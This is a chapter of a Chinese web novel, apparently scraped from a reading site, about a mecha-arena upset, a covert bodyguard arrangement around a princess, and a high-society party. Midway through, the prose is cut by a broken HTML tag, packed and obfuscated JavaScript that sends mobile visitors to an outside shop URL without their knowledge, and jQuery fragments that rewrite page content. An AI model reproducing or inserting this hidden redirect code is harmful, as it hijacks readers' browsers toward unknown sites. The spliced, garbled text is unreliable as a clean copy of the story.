“倪总,666正在挑战百人榜第二名威可。”
倪微挑了挑眉,放下报告,打开了全息世界机甲比赛直播。
她靠在沙发上,把光屏调大,漫不经心地看了起来。
百人榜第二名被一个高级赛区第80名挑战,这种戏码十年难遇。再加上666今天下午已经连续击败了十几名对手,热度正高。
观众评论区十分热闹。
“我靠,666挑战威可?她疯了吧?”
“百人榜第二啊,那不是军校生吗?”
“这个666是不是太狂了,刚赢了79名就去打第二?”
“她以为自己是谁啊。”
“能赢白云说明她确实有实力,但百人榜前十和八十名完全是两个世界。”
“不管怎么说,敢挑战威可,就冲这个胆子我服。”
竞技场内,威可没有废话,开场就冲了过去。
他的风格是标准的军校流派,不花哨不炫技,每一招都精准、高效、致命。这是他在军事学院三年练出来的肌肉记忆,也是他能在百人榜第二站稳的根本。
虽然全息世界的模拟机甲没有装备热武器,可是恰巧是这样单纯的机甲对抗比赛更能训练人的反应速度和对抗本能。
但他打出的每一招,银色机甲都堪堪躲过。
威可微微皱眉,这个666的反应速度比他预想的快。他加大了攻击密度,左拳右肘,配合步法压逼,不给对方任何喘息的机会。
银色机甲被他逼退了十几步,但始终没有露出致命破绽。
“怎么回事?威可怎么一招都没打到666。”
“这个666躲避速度也太快了吧!”
“威可根本就还没使出全力。”
银色机甲开始反击,出刀的角度刁钻,攻击的节奏变化无常,有时候快得像闪电,有时候又慢得像在钓鱼。
军校风格讲究的是稳、准、狠,但666的打法里有一种威可没有的杀气。
他被打了个措手不及,机甲已经开始报损。
“威可被击中了?!”
“这个666什么来头?能和威可打得有来有回?”
“我刚才是不是眼花了?”
威可的脸色一变,调整节奏,深蓝色机甲的速度陡然提升,每一拳都带着破空的呼啸。
银色机甲被震退了十几步,机甲防护降到了百分之七十。
两人又缠斗了近十分钟,威可越打越心惊,这个人的基本功极其扎实,甚至比军校里大多数人都扎实。而且她的反应速度、判断力、战术意识,根本不像是高级赛区第80名的水平。
他甚至觉得,如果不是自己占了机甲的优势,可能已经输了。
此刻,银色机甲的机甲防护降到了百分之十五,威可的机甲防护还有百分之三十。
胜负似乎已经没有悬念。
已经有人在提前庆祝。
“威可要赢了!”
“666还是太年轻。”
然后,银色机甲忽然做了一个所有人都没预料到的动作,她放弃了防守,孤注一掷地冲向威可的机甲。
威可本能地侧身闪避,同时一拳击出。
但他的拳头打空了。
银色机甲早已预判了他的动作,她在威可侧身的瞬间强行变向,蓄力的右拳精准地砸在了深蓝色机甲的驾驶舱。
在观众眼里,就像是威可自己撞在了666的拳头上。
威可看着那行“胜利者:666”的字样,依旧是处于不可置信的状态,他真的输了。
“666赢了???她赢了威可???”
“百人榜第二啊!那可是百人榜第二!”
“我的天,我刚才是不是穿越了?”
“666!!!从今天起我就是666的粉丝!”
“谁能告诉我她到底是谁?”
倪微把比赛直播从头看到尾,画面定格在666获胜的那一刻。
“有意思。”
.......
训练目的达到后,原若雯就直接下线了。
她的光脑收到了红野斯和西云柏的观赛邀请,她以要和姐姐一起看比赛为由拒绝了这两个人。
虽然摘星楼水系机甲比赛在星网上讨论满天飞,可还是有不少人讨论大公主丈夫出轨有私生子的事。
所以红野斯和西云柏,下意识地以为原若雯是要陪姐姐安慰她,识趣地没有多打扰。
原若雯没有告诉阿克苏自己的身份,依旧是通过老式光脑单线沟通。
[阿克苏]:目前有四个人找到我,希望我潜伏在二公主的身边。
[w]:这四个人有特征吗?
[阿克苏]:没有明显特征,看起来就像是普通人。
[w]:出价最高的多少?
[阿克苏]:一年两百万。
[w]:钱你收下,对方再联系你的时候给我发消息。
[阿克苏]:好。
阿克苏没想到成为二公主的保镖如此顺利,甚至突然有了两百万的收入。有了这两百万,她就可以买一个房子让母亲和妹妹搬进去。
这几天发生的事情就像是一场梦,让阿克苏有一种莫名的虚空感。
[阿克苏]:成为二公主的保镖后,我具体需要做什么吗?
阿克苏有想过w让她成为二公主的保镖,是想要监视她?还是想要除掉她?
[w]:保护二公主。
发出这条消息后,原若雯就关上了光脑。
阿克苏摸不透w的意图,但对方给出了她无法拒绝的条件,保护二公主便是她当下的第一要务。
晚上,原若雯带着露露去参加一场私人聚会,这是原主关系最好的朋友南达钰组织的。
装饰华丽的建筑内灯火通明。
水晶吊灯下,几位穿着华服的夫人围坐在沙发上。银质茶具在灯光下泛着柔和的光,红茶的热气袅袅升起。
“我听说,那台机甲是军事部长女儿造的。”一位戴着翡翠项链的夫人说。
“那个整天泡在实验室里的孩子?”另一位夫人掩嘴轻笑。
“大公主也掺和了。”一位穿着白色裙子的夫人插话,语气里带着一丝不确定。
“也许是被骗了呢?”翡翠项链夫人端起茶杯,“你也知道,那些搞技术的,最会忽悠人投资。”
隔壁房间。
十几个年轻人或坐或靠,光脑屏幕的蓝光映在他们脸上,茶几上放着甜品和气泡水。
“你们看这个!”一个穿着黄色裙子的女生把光脑推到茶几中央,屏幕上是一段摘星楼官方发布的机甲比赛宣传视频。
“如果水系机甲是真的。”她咬了一口马卡龙,腮帮子鼓鼓的,“我都想买一台了!”
旁边一个灰蓝色长发的女生笑出声,“廖言茵,你知道一台机甲多少钱吗?”
“那我分期付款!”廖言茵理直气壮,“我攒了十八年的压岁钱,首付总够吧?”
“你压岁钱不是早花完了吗?”维希珂可不惯着她,直接戳破。
廖言茵气得直接上手捂住维希珂的嘴巴,“......你闭嘴。”
另一个披着微卷长发的女孩眼睛亮晶晶的,“我还没开过机甲呢,不知道开机甲是什么感觉?”
“我开过。”角落里一个穿着深蓝色衣服的男生举手,“军校的模拟舱,我排了两个小时的队,上去三分钟就下来了。”
江韵好奇地问:“感觉怎么样?”
斐尔想了想,认真地说:“晕,想吐。”
众人笑成一团。
“但说真的,”斐尔揉了揉鼻子,“如果水系机甲能量产,军校以后会不会专门招开水系机甲的女生?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587830|204723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
房间里安静了一瞬,门被推开的刹那,众人的目光不约而同地聚了过去。
南达钰挽着原若雯走进来,一袭红色长裙如流动的火焰,衬得她整个人明艳又从容。她左手边是原若雯,右手牵着打扮得像小公主一样的露露,三人站在一起,活像从哪幅画里走出来似的。
“不好意思,我们来晚啦。”
她的声音不大不小,尾音上扬,带着天然的亲昵,像是和每一个人都打了招呼。
沙发上立刻有人站起来,“钰姐,你可算来了!我们都等急了。”
“急什么呀,我这不是来了嘛。”南达钰松开原若雯,笑着走过去,拍了拍那个人的肩膀,又转头冲角落里的侍女说,“麻烦把我朋友喜欢的甜白带上来。”
几句话的工夫,原本有些沉闷的气氛被彻底打散。
南达钰游刃有余,她记着每个人的喜好,知道谁不能喝酒,谁最近在减肥不吃甜食,谁和谁上次闹了点小别扭不能坐在一起。接话、圆场,一切都在她笑意盈盈的掌控之中。
几位相熟的朋友过来,有人夸她的裙子,有人逗露露玩,有人拉着她问最近的八卦。她一边笑着回应,一边不动声色地把原若雯引到了视野最好的沙发位置,顺手从茶几上拿了个靠垫塞给她。
原若雯不太习惯与人如此亲密,却又不能表现得太明显,毕竟在南达钰的眼里她们只是几天没见而已。
“若雯,你最近在忙什么呀?都不来找我玩了。”南达钰假装不开心的样子。
“没忙什么,带娃而已。”
南达钰看向乖乖坐在一旁的小孩,立刻安排人去找玩具过来。
好朋友的侄女就是她的侄女!
南达钰话多,原若雯是知道的。
原主记忆里,这个从小一起长大的闺蜜什么都好,就是话多。一件事能从三个角度翻来覆去地说,不带重样的。
“你听说了吗?明天晚上摘星楼那场比赛,票都炒到六位数了。”南达钰凑过来,压低声音,“我搞到两张,我们一起去啊。”
原若雯端起茶杯,抿了一口。“不了,我要和姐姐一起看。”
南达钰失望地说:“好吧。”
她眼神往旁边瞟了瞟,说话声音小了许多,“若雯,那个……北桖理的事,你知道吗?”
“知道。”
南达钰声音带着一种压抑不住的愤怒,“出轨、私生子,他也配?我跟你说,他活该,现在网上都在骂他。”
“我还听说,你姐已经搬出去了。北桖理天天上门求原谅,跪在大门口,可丢人了。你说他早干什么去了。”
原若雯没有接话,只是安静地听着。
南达钰也不在意,自顾自地说:“要我说,你姐就该离婚。离了再找个好的,帝星又不是没有男人了。”
正说着,几个年轻人凑了过来。
一个穿着绿色裙子的女生端着酒杯,笑嘻嘻地问:“二公主,听说您有三个未婚夫候选人,你最喜欢哪个呀?”
旁边的人也跟着起哄,“是啊是啊,亚维克少将、西云柏,还有那个卡晒特的三王子,你到底中意谁?”
原若雯抬起头,目光从那几张好奇的脸上扫过。她语气平淡,“还没定。”
“那总有一个更......”
“你们聊,我去个洗手间。”原若雯站起身,打断了对方的追问。
几个年轻人对视一眼,识趣地散开了。
南达钰跟着起身,在门外拉住她的手,压低声音,“若雯,你最近怎么了?”
她的好朋友原若雯,连续几天回她的消息都特别冷漠。
就连今天的聚会,也是她发好几条消息催她,她才答应来的。
她盯着若雯的眼睛,试图从里面找到从前的影子,但什么也没找到。
今天的若雯,根本就不是她认识的那个原若雯!